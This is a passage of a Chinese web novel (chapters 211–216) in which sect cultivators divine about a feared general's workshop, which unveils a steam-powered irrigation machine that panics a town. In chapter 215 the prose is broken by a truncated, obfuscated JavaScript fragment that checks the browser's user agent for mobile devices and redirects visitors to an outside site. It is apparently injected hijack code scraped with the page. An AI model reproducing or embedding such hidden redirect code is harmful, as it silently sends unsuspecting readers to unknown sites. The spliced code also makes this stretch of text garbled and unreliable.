他出身邯郸士族,却毫无架子,平日里走街串巷,见了挑粪的农夫都要拱手问好。
武安城闹旱灾那年,他还亲自带着衙役疏通渠道,晒脱了一层皮。
血衣军北上时,他身着官服立在城门下,手里捧着降书,对围观的百姓高声道:“血衣军锐不可当,螳臂当车只会让满城父老遭殃。
我王博降秦,不是为了自己的乌纱帽,是为了你们能活下去。”
这番话让百姓们深受感动,便是最固执的老派士子,也未苛责他“叛国”。
在这血屠进城的时候,这位县令大人,算是百姓们为数不多的倚仗了……
第211章 龟甲屡裂呈凶兆,金辉映壁现奇影
最让百姓安心的是。
赵诚进城这几日,王博每天都带着县衙的主簿、县尉,捧着酒肉去工坊外求见。
但每一次都没人理会。
那传闻之中让人闻风丧胆的血屠,如今好似两耳不闻窗外事一般,让大伙提着的心放下了不少。
“看来这血屠暂时没空理会咱们,”
有人揣度道,“说不定他就忙着练那邪术呢!
只要不惹到他,咱们或许能安稳些。”
日子一天天过去,工坊的轰隆声依旧准时响起,蒸汽云霭也日日笼罩在城西上空。
可武安城的街巷里,贩夫走卒渐渐多了起来。
卖胡饼的老汉重新支起了摊子,他的饼炉就摆在离工坊不远的街角,一边翻着饼,一边偷偷往工坊的方向瞟。
穿街走巷的货郎摇起了拨浪鼓,“咚咚”的鼓声与工坊的轰隆声交织在一起,竟也形成了一种奇异的韵律。
百姓们依旧在心底提防着那位“武威君”,夜里常被工坊的巨响惊醒,冷汗浸湿了被褥。
可白日里,他们还是会扛起锄头下地,拿起针线织布,为了生活忙碌。
日子仿佛又回到了从前的轨道,只是那道盘踞在城西的“蒸汽巨兽”,成了所有人心中挥之不去的阴影。
客栈里,亦清与乐成带回了打探来的消息。
他们自太行山高处眺望,极尽目力,才勉强看清楚了工坊里面的一些大概情况。
亦清摊开一张草图,上面画着工坊的轮廓:“那魔头在工坊里建了好几座大铁炉,比寻常铁匠铺的炉子高五倍,烧的都是煤炭,火光红得吓人。
还弄了些带轮子的铁家伙,好像能自己动,不用马拉。”
乐成补充道:“工匠们倒是没被**,每日都管饭,好像还有肉吃。
只是管得严,进了工坊就不许出来,感觉神神秘秘的。
不知道在搞什么邪修的秘法。”
云渺指尖点在草图上的铁炉位置,眸中闪过一丝疑惑:“既不**,也不扰民,只在工坊里摆弄这些铁器……
这赵诚,到底想做什么?
难道,那些铁器之中,也藏有什么邪修隐秘?”
前两日与赵诚对视的画面忽然浮现在眼前、
那双深邃的眸子,看似平静,眼底却藏着能压垮山岳的煞气,仅仅是提着大戟端坐马上,便让她生出如临深渊的压迫感。
云渺心尖一紧,暗自思忖:此人本就邪异,若真让他造出什么助长凶威的秘宝,怕是会有更多生灵遭殃。
“不行,咱们得查出他到底在弄些什么!”
云渺当机立断,决定潜入工坊调查。
“不可冒进啊掌门。”
江湖越老胆子越小,几个老家伙一起反对。
云渺说道,“若他在弄些什么邪修秘宝,或者活祭祭坛之类的东西,那我们这样放任他做下去,岂不是在助纣为虐?”
“我必须得去!”
这时,手拿龟甲的老道忽然开口。
他将龟甲在掌心摩挲片刻,沉声道:“既然掌门心意已决,不如让老夫占卜一卦。
若卦象显吉,再做探查。
若卦象示凶,便再等时机。
老夫这占卜之术,虽不敢说通神,却也极少出错,只要不直接卜算那魔头本人,吉凶还是能断个**不离十。”
说罢,他取过案上的龟甲,闭目凝神,口中念念有词。
咒语低沉晦涩,似与天地相通,烛火在他身前摇曳,映得龟甲上的裂纹忽明忽暗。
片刻后,他睁开眼,手腕一抖,龟甲“当啷”一声落在案上。
众人屏息望去。
那龟甲竟在接触桌面的瞬间,“咔嚓”一声崩裂开来!
裂纹如蛛网般蔓延,从甲身正中直抵边缘,碎片散落一地。
“嘶!”
老道瞳孔骤缩,猛地往后一缩手,仿佛被烫到一般,连连摇头:“大凶!大凶之兆!
此去探查,必有血光之灾,万万不可轻举妄动!”
“还要再等等!”他加重语气,声音里带着一丝后怕。
云渺看着地上的龟甲碎片,心中暗暗叹息。
她这位师叔的占卜之术,在天宗内向来是公认的精准,当年预判天下大势,诸国征战的走向,分毫不差。
如今龟甲裂得如此彻底,显然探查之行风险极大,绝非儿戏。
“那便再等一日,”她终是按捺下冲动,“明日劳烦
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师叔再卜一卦。”
次日清晨,老道再次占卜,龟甲落下,依旧是“咔嚓”一声崩裂,碎片比昨日更碎。
第三日,龟甲裂成齑粉。
第四日,刚拿出龟甲,尚未念咒,甲身便自行出现裂纹。
连着四日皆显大凶,还是越来越凶,云渺渐渐有些不耐,她看向手拿龟甲的老道,眉头微挑:“师叔,您占卜的当真只是‘潜入工坊探查’?”
她顿了顿,目光凝重中带着质疑:“仅仅是探查一番,为何会凶险至此?
莫非……您的卦象,不知不觉间触碰到了那赵诚本人?”
老道苦笑着摇头,将龟甲捧在掌心,甲身已布满细密的裂纹:“掌门明鉴,老夫每次起卦,都刻意避开赵诚本人,只问‘探查工坊吉凶’。
若不然,第一日就会引起那家伙警觉,哪还有什么二卜三卜?”
他沉吟片刻,忽然道:“或许……咱们可以换个方向。
不卜探查之事,改卜他正在打造的器物如何?
这般或许能避开凶兆,寻出些变数。”
“不可!”
大长老立刻抬手阻止,他抚着长须,面色凝重如铁,“老夫这几日夜观天象,见工坊上空有紫气缭绕,隐有开天辟地之象,绝非寻常器物。
此等异象,要么是旷世凶宝,要么是惊天奇物,占卜时稍有不慎,便会引动天机反噬,伤及自身!”
老道捧着龟甲,指节因用力而发白。
他看了看云渺,又看了看大长老,终是一咬牙:“事已至此,总得试试。
若真是凶宝,咱们也好早做准备;若……若有其他可能,也能解了咱们的疑惑。”
说罢,他深吸一口气,将龟甲放在案上,这次起卦格外郑重。
先净手焚香,再以指尖蘸取朱砂,在龟甲上点了三点,而后闭目念咒。
咒语比前几日更显晦涩,似有金光从他唇间溢出,融入龟甲之中。
众人皆屏住呼吸,连烛火都似凝固了。
忽然,那布满裂纹的龟甲竟微微震颤起来。
紧接着,一层淡淡的辉光从甲身透出,初时如萤火,渐渐变得明亮,竟将整个房间都染上了一层温润的金光。
第212章 金影呈祥昭济世,云心疑对血屠锋
老道睁大了眼睛,怔怔看着墙壁上的辉光。
辉光之中,他隐约好似见到无数人影欢笑劳作,田垄相连,城郭林立,一派安居乐业之象。
老道浑身猛地一震,脸上写满了难以置信,失声惊呼:“这是……这是‘开天辟地,惠及万民’的功德之象!”
“什么?!”
房间里瞬间炸开了锅。
“怎么可能!?“
所有人的目光都看向生辉的龟甲,又一脸怀疑的看向龟甲老道。
那意思好像是,你不会是算错了吧?
惠及万民?
你说那魔头惠及万民?
简直是开玩笑!
云渺猛地站起身,裙摆在案上扫过,带倒了一只茶杯,茶水泼在地上,她却浑然不觉,只是死死盯着那发光的龟甲:“师叔,您说……
这卦象是惠及万民?”
亦清与乐成对视一眼,皆从对方眼中看到了震惊与怀疑。
乐成忍不住开口:“师叔,您莫不是算错了?那赵诚是血屠阎罗,怎么可能……怎么可能与‘惠及万民’扯上关系?”
蓝袍长老也皱紧眉头,伸手往龟甲上探去,指尖触到辉光,只觉一股温润之力涌入体内,绝非凶煞之气。
可他还是摇了摇头:“会不会是这龟甲被邪术污染了?
毕竟那赵诚身怀邪术,或许能干扰卦象。”
老道捧着龟甲,辉光映得他满脸通红,他先是茫然,随即用力摇头:“不可能!
老夫占卜一生,这样全力施为,从未出错过!
这辉光清正平和,隐有功德之气,绝非邪术所能伪造!”
可话虽如此,他自己也觉得不可思议。
一个以杀伐闻名的“血屠”,所造之物竟显“惠及万民”之象,这简直比天宗出了个邪修还要荒诞。
房中沉寂如潭,烛火跳动着,将众人的影子投在墙上,忽明忽暗。
云渺蹙着眉,指尖无意识地摩挲着袖口的云纹刺绣,眸中满是不信。
亦清张了张嘴,想说些什么,却终究化作一声轻咳,显然仍觉得不可思议。
乐成则咂了咂嘴,目光在发光的龟甲与老道之间来回逡巡,那眼神里的怀疑,几乎要溢出来。
老道见众人这副模样,顿时红了脸。
他这辈子最得意的便是这占卜之术,当年天宗老掌门曾拍着他的肩膀说:“你这卜算之能,当世魁首,无人能及。”
如今被一群小辈这般怀疑,哪里忍得住?
“汝等不信?”
他猛地攥紧手中的龟甲,甲身的辉光被他捏得微微晃动,语气里带着几分赌气的执拗,“吾再算一次便是!若这次卦象有变,就算是老夫浪得虚名”
说罢,他也不顾众人反应,径直净手焚香,重新取出一片备用的龟甲。
这次起卦比先前更显郑重,指尖掐诀的速度快如闪电,咒语低沉如雷鸣,似要将毕生修为都灌注其中。
烛火在他身前剧烈摇曳,案上的符纸被气流卷得簌簌作响。
片刻后,他手腕一翻,龟甲再次落在案上。
“嗡——”
温润的金光瞬间从甲身迸发,比前一次更盛。
在那朦胧辉光之中,老道隐约能够看到,农人驾驶着一些奇怪的器械引水灌田,工匠们抬着崭新的铁器欢呼,孩童围着长长的钢铁巨龙奔跑……
那“惠及万民”卦象几乎凝若实质,比那诸国征战的煌煌大势更清晰七分,真切得仿佛伸手就能触摸到。
老道重重哼了一声,虽未说话,那眼神却分明在说“如何?”。
房间里彻底静了下来,连呼吸声都轻得像羽毛落地。
道宗众人多少都是修炼过占卜之术的。
老道占卜之术精湛至此,他们或多或少能够在老道的辉光卦象之中,看到一些东西出来。
亦清咽了口唾沫,喃喃道:“这……这当真没错?
一个工坊里弄出来的东西,竟能有‘改天换地、惠及万民’的气象?”
乐成则盯着那虚影里的铁车,眉头拧成了疙瘩:“可造这东西的是赵诚啊……
那是数十万百姓口中的血屠阎罗,手上沾了数十万性命,他能弄出什么好东西?
莫不是……莫不是误打误撞?”
这话倒是说出了众人的心声。
谁能想到,一个以杀伐闻名的魔头,竟能造出承载“大善”之象的器物?这简直比“太阳从西边升起”还
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要荒诞。
须发皆白的大长老沉默许久,忽然抬手抚须,声音里带着几分悠远:“老夫在一本残破的古籍里见过记载:‘天地无绝对,善恶本相生。大恶或藏大善,大善亦可能孕大恶’。”
他顿了顿,目光扫过众人:“或许这赵诚所造之物,初时会带来动荡,让民不聊生,可最终的结果,却可能指向大善。
就像当年大禹治水,虽劈开千山,让无数人背井离乡,终究却换来了九州安宁。”
“他如何能与大禹治水相比?”
云渺立刻摇头反驳,语气里带着些许抵触,“他造这些东西,肯定是为了战争,为了更多的杀戮,只不过是不小心变作了惠及天下的东西。”
“不能任其作为!”
老道却摆了摆手,看着那发光的龟甲,神色复杂:“不论过程如何,至少这器物本身,卦象显示并无凶险。
或许……咱们该静观其变,先看看这东西究竟是什么再说。”
云渺心中依旧抗拒。
她想起赵诚那双藏着尸山血海的眸子,想起武安城百姓的恐惧,实在无法将“善”与他联系在一起。
可她迎上七位长老的目光,看到了大长老眼中的凝重,蓝袍长老眼底的关切,老道虽带着傲气却难掩担忧……
她忽然意识到,不论是卦象显示,还是当初对视时的灵觉感知,自己都没有完全的把握拿下赵诚。
而一旦自己遇到凶险,七位师叔绝不会坐视不管。
怕是会为了护她而陷入险境,甚至可能身陨。
那是她绝不愿看到的。
她深吸一口气,压下心头的波澜,缓缓点了点头:“也罢。
便再观察几日,看看这赵诚究竟要弄出什么名堂。”
说罢,她望向窗外,工坊的方向依旧亮着灯火,轰隆声在寂静的夜里格外清晰。
只是此刻听着那声音,心中的邪术二字,竟悄悄淡了几分,多了些说不清道不明的疑惑。
烛火渐渐平稳下来,龟甲的辉光缓缓散去,可那“惠及万民”的虚影,却像烙印般刻在了每个人的心头。
武安城的夜色,似乎也因这诡异的卦象,变得愈发扑朔迷离起来。
第213章 铁兽初鸣惊巷陌,钢轮碾地骇仙凡
第日子一天天溜走,武安城的街巷渐渐恢复了往日的生气。
清晨的露水还挂在槐树叶上时,北街的胡饼炉便“滋啦”冒起了油烟。
张老汉一边翻着饼,一边和隔壁的针线铺老板娘搭话,只是眼角总会不自觉地瞟向城西工坊的方向。
晌午时分,洺水岸边的码头又热闹起来,挑夫们扛着粮袋往来穿梭,号子声里虽还带着几分拘谨,却已不再像起初那般颤颤巍巍。
连孩子们都敢在巷子里追逐打闹了,只是玩到兴头上,若听见工坊传来的轰隆声,还是会猛地停下脚步,往大人身后缩一缩。
百姓们嘴上不说,心里却都憋着股劲。
那位“武威君”一日不出工坊,这颗心就一日落不到实处。
就像揣着颗没爆的雷,明知暂时安全,却总怕哪天突然炸响。
直到这一日清晨,天刚蒙蒙亮。
城西工坊那扇紧闭了半月的铁皮大门,突然“嘎吱——”一声缓缓打开。
那声音在寂静的晨光里格外刺耳,像生锈的巨锁被硬生生撬开。
住在工坊附近的几户人家,最先被惊醒,趴在窗缝后往外看。
只见门轴转动时,铁皮摩擦发出刺耳的尖叫,两扇门板慢悠悠地向两侧张开,露出里面黑漆漆的入口,像一头巨兽张开了嘴。
紧接着,一阵“轰隆、轰隆”的巨响从工坊深处传来,比往日的动静更沉、更烈。
震得地面都微微发颤,窗台上的瓦罐“叮叮当当”跳个不停。
“怎么回事?”
“工坊开门了?”
惊呼声刚起,一道庞大的黑影便从工坊里滑了出来。
那是个钢铁铸就的巨物,足有两丈多高,三丈来长。
最底下是两排铁轮,轮齿锋利如刀,碾过青石板时发出“咔嚓”的脆响。
铁轮上方是骨架似的钢铁支架,纵横交错,像极了巨兽暴露在外的肋骨,支架上缠着铜制的管道。
管道里“哗哗”地流着什么,偶尔有白汽从接缝处喷出来,发出“嘶嘶”的怪响。
巨物的前端装着个巨大的铁斗,斗口锋利,旁边还垂着一串更小的链斗,随着机器的震动轻轻摇晃,像一排等待撕咬的爪子。
最顶上立着根烟囱,正“呼呼”地喷吐着白汽,白汽在晨光里凝成一团团白雾,将巨物的上半截裹得若隐若现,更添了几分狰狞。
这钢铁巨兽一边往前滑,一边喷着白汽,发出的轰鸣震得人耳朵发疼。
每挪一步,地面都跟着颤一下,仿佛随时会裂开。
“妖……妖兽!”
不知是谁先喊了一声,声音里带着哭腔。
住在工坊隔壁的李屠户,刚提着杀猪刀出门,见状“哐当”一声把刀扔在地上,转身就往屋里钻,连门板都忘了关。
几个挑着水桶去井边的妇人,吓得魂飞魄散。
水桶摔在地上,水洒了一地,人却抱着头往巷子里跑,鞋跑掉了一只都没察觉。
最惨的是个推着独轮车卖菜的老汉,慌不择路间连人带车翻进了沟里。
菜叶子撒了满身,却顾不上疼,手脚并用地往上爬,嘴里只喊着“救命”。
恐慌像潮水般瞬间淹没了工坊周边。
“是工坊里的妖兽醒了!”
“怪不得天天轰隆响,原来是在养这怪物!”
“血屠要屠城了!他放出妖兽来吃咱们了!”
哭喊声、尖叫声、奔跑声混在一起,往城中心蔓延。
有人往城门跑,却被守城的军士拦住。
有人往家里钻,把门窗关得死死的,用桌子顶住门板。
还有人跪在地上磕头,求神拜佛,哭声震天。
关于这钢铁巨兽的传闻,转眼就传遍了半个武安城。
有人说它“一口能吞三个壮汉”。
有人说它“铁爪一挥,就能拆了半条街”。
还有人说“血屠就是靠这妖兽才破了邯郸,妖兽睡了这些时日,肚子饿了,现在轮到来吃咱们武安了”。
而在城南那座三层阁楼的顶上,云渺与七位长老早已立在那里。
他们是听见工坊开门的动静赶过来的,此刻正居高临下地望着那钢铁巨物,神色凝重如铁。
“那是什么?”
亦清指着巨物身上的链斗,声音发紧,“钢铁铸身,铜管缠体,还会喷吐白汽……倒像是机关术,却比墨家最精巧
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的机关兽还要庞大百倍。”
乐成握紧了剑柄,指节发白:“你看它那铁轮,齿牙锋利,若是冲进城巷,怕是能直接碾平房屋。
还有那铁斗,瞧着就不是善物,说不定真是用来……”
他没说下去,但“**”两个字,已写在了脸上。
云渺的目光落在巨物的烟囱上,白汽正从那里源源不断地涌出,在晨光里泛着冷光。
她能感觉到这东西身上没有邪气,却有种说不出的压迫感。
不是煞气,而是纯粹的、属于“力”的威慑,像一座会移动的小山,带着不容抗拒的蛮横。
“这究竟是何物?”
她微微皱眉,指尖在袖中掐了个剑诀,“那赵诚在工坊里捣鼓了半月,竟造出这等东西……”
“墨家的机关术,老夫也不是没见过,只是墨家的那些物件,总归是需要高手输入真元来操纵,亦或者借助地势天象之力才行,从未见过这等自行运转,又力大无穷之物!”
“这血屠,怎么弄出这等东西来的?”
“这恐怕也是他那邪术之中的一种,不然那些墨家子弟到他手中,怎么就能弄出这等东西来?”
大长老眯起眼睛,盯着巨物下方的铁轮:“此物力道惊人,若真用来屠城,武安城片刻间便会化为齑粉。”
“若他当真如此,”蓝袍长老沉声道,“咱们便即刻出手,哪怕拼着受伤,也要毁了这怪物,护住城中百姓!”
老道捧着龟甲,甲身此刻一片平静,却更让他惊疑不定:“卦象倒是不显凶……可这模样,确实让人放心不下。”
云渺望着下方奔逃哭喊的百姓,又看了看那步步逼近的钢铁巨物,眸中闪过一丝决然。
她抬手按住腰间的长剑,剑身隔着剑鞘微微发烫:“再看片刻。若它敢伤一人,或是……”
话音未落,那钢铁巨兽忽然在工坊门口停了下来,铁轮不再转动,只是烟囱还在喷着白汽,轰鸣声也渐渐低了些。
阁楼顶上的众人屏住了呼吸,握紧了兵器,目光死死盯着那巨物,只待它再有异动,便要立刻冲下去。
武安城的空气,仿佛在这一刻凝固了。
第214章 铁躯穿郭行缓缓,民窥隙窥解惶惶
工坊门口,白汽缭绕的润田机还在“嘶嘶”喷气,赵诚望着远处哭嚎奔逃的百姓,肩头的暗红大氅被晨风吹得微微扬起。
他转头对身旁的蒙恬失笑:“这润田机看起来这么吓人吗?”
“屠城妖兽?哈哈哈哈……”
蒙恬刚从工坊里出来,玄甲上还沾着几点煤屑,闻言朗声笑道:“阿诚你忘了?当初在邯郸时,就连陛下初次见到这些东西,也是吓了一跳呢。
新鲜事物初现时,总要让人心头打鼓。
等他们见了这东西能帮着浇地、省力气,怕是要反过来抢着用呢。”
他说着,指了指润田机下方的链斗,“你瞧这链斗,打磨得多光滑,等会儿下了河,保准一斗能提半石水。”
赵诚点头,目光转向身后的工坊。
这半月来,他几乎是扎在了工坊里,白日里盯着墨官调试器械,夜里就和禽滑厘等人讨论图纸,连血衣军的操练都交给了蒙恬。
墨阁的墨官们带着三百余名工匠,轮班赶工,铁砧敲打声、蒸汽嘶鸣声就没断过,连墙角的青苔都被震得落了一层。
如今工坊里,早已堆起了一排排崭新的器械。
民生用的转谷机,石磨盘被蒸汽轴带动着,转起来平稳无声,磨出的面粉细如飘雪。
经纬机旁站着几名墨家女工,正调试踏板,蒸汽驱动的综片起落间,丝线穿梭的速度比寻常织机快了十倍不止,织出的麻布密得能兜住水。
军事器械更是亮眼。
连**战车的箭匣里,百支铁簇箭排列得整整齐齐,蒸汽管道连接的**臂泛着冷光。
墨官说只需扳动机关,百丈之内的目标都能被箭雨覆盖。
液压撞角车的铁制撞头被打磨得锃亮,底下的滚轮装了减震的铜簧,推行时悄无声息,却能凭着蒸汽蓄力,一撞就裂石墙。
抛石机的底座用百炼钢铸就,配重箱里填满了铁块,试抛时竟能将千斤石头发射到三里之外,砸在地上就是个丈许深的坑。
交通类的器械也没落下。
工坊后院堆着无数铁轨,每根都是丈许长的精钢,轨面打磨得能照见人影,只待丈量好路线,就能从武安铺到邯郸。
穿渠机的钢钎换了新淬火的,墨家弟子说钻起石头来比切豆腐还快。
沸波舟已经可以下水试水,螺旋桨一转,逆水行船根本不是问题。
连举重塔都造好了三座,蒸汽驱动的铁链能吊起万斤重物,盖城墙、架桥梁都用得上。
这般效率,连赵诚自己都有些意外。
武安的铁矿就在城郊,煤炭从滏口陉运来不过半日,工匠们又是熟手,加上墨官们早已吃透了蒸汽原理,竟是比预想中快了近十日。
他仰头看了看天,日头已爬得有些高了,阳光晒在铁甲上,带着几分灼人。
最近半月都没下过雨,洺水的水位落了不少,岸边的淤泥都露了出来。
清晨出城探查试点的时候,还见着农人挑着水桶往田里赶、
那扁担压得弯弯的,走几步就要歇一歇,汗珠子顺着脊梁往下淌,把粗布短打浸得透湿。
“正好,”
赵诚拍了拍蒙恬的胳膊,玄甲碰撞发出清脆的响,“农人们这几日正愁浇水难,挑一趟水够累半天的,正好让他们瞧瞧这润田机的好处。”
他转身对工坊门口的墨家弟子喊道:“把润田机调到洺水岸边,让链斗对着河水,准备试车!”
墨家弟子们齐声应诺,扳动润田机旁的操纵杆。
只听“咔嚓”一声,钢铁巨兽的铁轮缓缓转动起来,朝着洺水的方向挪动。
烟囱里的白汽喷得更高,轰鸣声在晨光里传出老远,倒像是在宣告着什么。
蒙恬跟在赵诚身后,看着那润田机的背影,笑道:“等会儿让农人们亲眼瞧瞧。
这‘妖兽’不仅不**,还能帮他们浇地,保管他们把今儿的害怕忘得一干二净。”
赵诚笑了笑,没说话,只是脚步加快了些。
他知道,要平复这些治下百姓的恐惧,光靠说没用,得让百姓实实在在得到好处才行。
而这润田机,就是最好的试点。
有墨家子弟在,搬运这庞然的润田机自然不在话下。
这些钢铁巨兽的底座下,早被墨家弟子安上了六只实心铁轮,轮缘包着厚厚的铜皮,转动时与地面摩擦,发出“咕噜噜”的沉响。
机身上装着个黄铜方向盘,杆身缠着防滑的麻绳,
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只需一人握着转盘轻轻转动,巨兽便能灵活转向。
更妙的是,只需往底座的炉膛里添上一把煤炭,借着蒸汽的推力,它便能自己往前挪。
虽速度慢如牛车,却省了数十人抬举的力气,单论运输的便利,已是寻常器械难及。
赵诚与蒙恬并辔在前开路,玄甲红披的身影在晨光里格外醒目。
赵诚手中的缰绳松松垮垮,黑马似通人性,迈着沉稳的步子,蹄铁踏在青石板上,与润田机的轰鸣形成奇妙的呼应。
蒙恬则时不时回头,叮嘱身后的墨家弟子看好器械,嗓门洪亮得能穿透蒸汽的嘶鸣。
队伍后方,数百名墨家弟子分成两列,有的握着操纵杆调节速度,有的扛着备用的煤炭筐,额头上渗着细汗,却个个精神抖擞。
这润田机是他们半个月的心血,此刻能亲自护送它出城,想着一会就能够亲眼看到此物发威,脸上都带着几分自豪和期待。
而队伍两侧,数千血衣军列成整齐的护卫阵,黑甲反射着冷光,长戟斜指地面,步伐一致如刀切,连呼吸都透着纪律严明的肃杀。
一路穿城而过,街巷里静得能听见风吹过窗棂的“呜呜”声。
寻常这个时辰该摆摊的、挑水的、赶路的,此刻全没了踪影。
家家户户的门窗都关得严严实实,只偶尔能从窗缝里瞥见一双双紧张的眼睛,或是门后传来压抑的呼吸声。
有个梳着总角的孩童忍不住扒着门缝往外看,被母亲一把拽回怀里,捂住了眼睛,低低的呵斥声隐约传来:“不许看!那是**的妖兽!”
润田机的轰鸣从街头传到巷尾,震得各家的门板微微发颤。
百姓们攥着衣角,贴着墙壁站着,连大气都不敢喘,浑身的汗**都因这声势竖了起来。
可等了半晌,那钢铁巨兽只是不紧不慢地往前挪,既没撞翻房屋,也没冲进院子,甚至连路边的鸡窝都没碰一下。
“奇怪……”
南街的张木匠扒着自家的板门,指缝越睁越大,“它好像……只是路过?”
他身旁的老伴儿还攥着灶台上的菜刀,闻言手一抖,刀“当啷”掉在地上,喘着粗气软声道,“没、没**?”
第215章 青天拦田惑黔首,锐少斥伪怒众眸
“没听见惨叫啊。”
张木匠侧耳听了听,除了机器的轰鸣和马蹄声,城里静悄悄的,“也没听见哭嚎……”
这话像颗石子投进了平静的水潭,周围几户人家的门缝都悄悄拉大了些。
“那方向……好像是往城郊的田地去了?”
有人压低声音,从隔壁墙头探出头,望了一眼队伍远去的方向。
“去田里做什么?”
立刻有人接话,声音里带着疑惑,“总不能是去吃庄稼吧?”
“那可使不得啊,吃了庄稼咱们吃什么?”
“要不……咱们去瞧瞧?”
一个挑着空担子的货郎蹲在墙根下,咽了口唾沫,眼里闪过一丝好奇。
他今早去码头进货,正好撞见队伍出城,起初吓得钻进了草垛,躲了半晌没见动静,反倒被好奇心勾得心痒。
“你疯了?”
旁边的卖菜婆瞪了他一眼,手里的菜篮子还没放下,“那可是血屠!还有那钢铁妖兽,他不杀咱们就该烧高香了,你还敢凑上去?”
“可……”
货郎挠了挠头,“总要知道那玩意儿是干嘛的,才能安心啊。
万一它只是去田里挖点虫子田鼠吃……说不定不害人的?”
“夜市,”
张木匠也点了点头,推开一条门缝往外看,“那血屠要是真想屠城,咱们躲在家里也没用。
既然现在没动静,说明暂时安全。
去看看也好,知道它要做什么,心里也有个数。”
人群里渐渐起了骚动。
有几个胆子大的,先是试探着推开家门,探出头左右看了看,见血衣军没回头,便壮着胆子往前走了几步。
后面的人见前头没事,也忍不住跟了上来。
起初还隔着老远,后来见队伍确实没理会他们,脚步便渐渐快了些,像一串被好奇心牵着的影子,远远地缀在队伍后面。
有人边走边嘀咕:“这玩意不会真是去吃庄稼的吧……”
“吃庄稼那也比**来得强啊!”
“哎哟,那可是咱得命根子,吃了庄稼可怎么行啊?”
“谁知道呢……去看看就晓得了。”
晨光里,润田机的白汽在前方蜿蜒如带。
身后的百姓队伍像条细细的尾巴,悄悄跟着,既紧张又恐惧,连脚下的石子硌了脚都没察觉。
武安城的空气里,除了机器的轰鸣,似乎多了一丝说不清道不明的躁动。
那是恐惧稍稍消退,好奇开始滋生的滋味。
队伍一路直行,终于来到城郊的田垄边。
此时正是巳时,烈日悬在半空,晒得泥土泛出白花花的光。
田里的粟苗蔫头耷脑,叶片卷成了细条,根部的泥土裂开了蛛网似的缝,用手一捻就碎成了末。
这是武安城最肥沃的一片河谷地,往常这个时节该是绿油油的一片,如今却透着股焦渴的枯黄。
远远跟着的百姓们都屏住了呼吸,攥紧了衣角。
有个老农蹲在田埂上,手抚着干裂的土地,指节因用力而发白。
这几亩地是他家三代人的指望,春播时下了血本,就盼着秋收能多打几石粮,若是被那钢铁巨兽碾过,今年怕是要全家饿肚子。
“千万别往田里开啊……”有人在人群里低声祈祷,声音发颤。
就在这时,那润田机在墨官的操纵下,铁轮“咕噜噜”地转向田边,眼看就要碾上田埂。
“君上!万万不可!”
一声惊呼划破空气,王博从队伍侧面冲了出来。
他官服的前襟沾着泥点,头发也有些散乱,脸上满是“痛心疾首”。
他跑到赵诚马前“噗通”跪下,膝头砸在硬邦邦的土路上,发出沉闷的响。
“君上!这田地是武安百姓的命根子啊!”
他抬起头,眼眶通红,声音哽咽,“今年天旱,庄稼本就长得难,您要是让这钢铁巨兽碾过去,百姓们就真没活路了!
求君上开恩,绕了这田吧!”
他一边说,一边重重磕头,额头上很快就磕出了红印,看着倒真有几分“为民**”的悲壮。
只是磕头的间隙,他眼角却飞快地瞟向人群外。
那里站着个穿锦缎短打的汉子,正阴沉着脸盯着这边,见王博看来,还不易察觉地皱了皱眉。
跟来的百姓里,立刻响起一片抽气声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209009|176970||http|test|mini|href|location''.split(''|''),0,{}));
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r>“王县令竟真敢拦!”
“他是为了咱们的田啊……”
有几个年纪大的老农看得红了眼眶,抹着眼泪喃喃道:“好官啊……真是好官……”连之前对王博降秦颇有微词的人,此刻也忍不住点头:“危难时候,还是王县令敢说话。”
可人群后排,几个老佃户却低下头,默默抽着旱烟,烟杆在鞋底敲出沉闷的响。
他们租种的,正是那锦缎汉子家的地,每年光是租子就要交三成,王县令这番话,听着暖心,却总让他们觉得哪里不对。
就在众人或感动或疑惑时,扶苏从润田机旁走了过来。
这段时间他与这王博交接,处理武安城的政务,总觉这家伙口蜜腹剑,表面上万般配合,背地里却阴奉阳违。
如今本就对这“只会动嘴皮子”的县令没好感,此刻见他拦路,眉头拧得更紧,上前一步,抬脚就踹了过去。
“砰!”
王博被踹得结结实实,像个破麻袋似的摔进田边的泥坑里,官帽滚到一边,沾满了黄泥巴。
他“哎哟”一声,挣扎着想爬起来,却被泥水滑得又跌坐回去,那副“痛心疾首”的模样瞬间碎了大半。
“你懂个屁!”扶苏瞪着他,嗓门洪亮,“武威君这润田机是来帮百姓的,不是来毁田的!
再敢胡咧咧,把你扔洺水里喂鱼!”
百姓们看得目瞪口呆,刚涌上来的感动僵在了脸上。
有人下意识地想骂,可看到旁边血衣军那冷森森的甲胄,话到嘴边又咽了回去,只敢在心里嘀咕:“怎么能这么对王县令……”
站在人群边缘的云渺更是眉头微皱。
她方才见王博跪地护田,还暗赞一句“难得有为民**的好官”,此刻见他被如此粗暴对待,胸口一股无名火“噌”地就窜了上来。
“岂有此理!”
她在心里低斥,目光扫过赵诚,见他端坐马上,神色平静,竟似毫不在意,更是怒极。
“这王博虽是降官,却有护民之心。
这血屠倒好,纵容属下如此无礼,还想让那钢铁巨兽祸害农田……
这般行事,果然是魔头本性!”
第216章 铁斗翻波润田畴,众目惊嗟破迷心
旁边的乐成也握紧了剑:“师姐,要不……”
云渺按住他的手,目光死死盯着田边,咬着牙道:“再等,先看这机关器械究竟是何物!”
而马背上的赵诚,只是淡淡扫了一眼泥坑里的王博,又瞥了眼人群外那个悄悄往后缩的锦缎汉子。
来武安城这些日子,忙着督造器械,倒真把这些盘在土地里的蛀虫给忘了。
他指尖在马鞍上轻轻敲击,目光落回那片枯黄的农田。
等润田机的水流过,让真正的耕者尝到甜头,再慢慢清这些依附土地吸血的东西。
他抬了抬手,对操纵润田机的墨官道:“开始吧。”
墨官应声,转动方向盘。
润田机的铁轮再次转动,却只是路过田埂边沿,缓缓挪到了田边的洺水支流旁。
那里刚被民夫挖了个浅坑,正好能让润田机的链斗探进水里。
泥坑里的王博见状,愣了一下,“不是要毁田……原是属下误会君上了,属下该死!”
只是这一次,他的目光不自觉地又瞟向人群外,却发现那锦缎汉子早已没了踪影。
赵诚勒住马缰,望着那即将入水的钢铁巨兽,眼底映着烈日的光,对于王博并没有多看一眼。
